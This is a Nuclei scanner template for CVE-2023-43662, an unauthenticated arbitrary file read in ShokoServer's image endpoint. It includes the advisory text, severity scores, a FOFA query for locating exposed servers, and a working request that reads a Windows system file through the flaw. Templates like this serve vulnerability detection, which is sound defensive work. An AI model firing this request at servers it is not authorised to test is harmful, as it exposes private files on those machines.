id: CVE-2023-43662

info:
  name: ShokoServer System - Local File Inclusion (LFI)
  author: pussycat0x
  severity: high
  description: |
    ShokoServer is a media server which specializes in organizing anime. In affected versions the `/api/Image/WithPath` endpoint is accessible without authentication and is supposed to return default server images. The endpoint accepts the parameter `serverImagePath`, which is not sanitized in any way before being passed to `System.IO.File.OpenRead`, which results in an arbitrary file read.
  impact: |
    This issue may lead to an arbitrary file read which is exacerbated in the windows installer which installs the ShokoServer as administrator. Any unauthenticated attacker may be able to access sensitive information and read files stored on the server.
  remediation: |
    The `/api/Image/WithPath` endpoint has been removed in commit `6c57ba0f0` which will be included in subsequent releases. Users should limit access to the `/api/Image/WithPath` endpoint or manually patch their installations until a patched release is made. This issue was discovered by the GitHub Security lab and is also indexed as GHSL-2023-191.
  reference:
    - https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://github.com/ShokoAnime/ShokoServer/commit/6c57ba0f073d6be5a4f508c46c2ce36727cbce80
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2023-43662
    cwe-id: CWE-22
    epss-score: 0.08147
    epss-percentile: 0.94118
    cpe: cpe:2.3:a:shokoanime:shokoserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: shokoanime
    product: shokoserver
    fofa-query: title="Shoko WEB UI"
  tags: cve,cve2023,shoko,web-aui,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/Image/withpath/C:\Windows\win.ini'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207e2d93bb9a831eff9a430fdf3ac6c451b2b21bcc37b7c48b8a04909449d976fb022100c503070a59d1fabcaa4a55c35c612d823cb0dfc39c59735cd55c56704f836f74:922c64590222798bb761d5b6d8e72950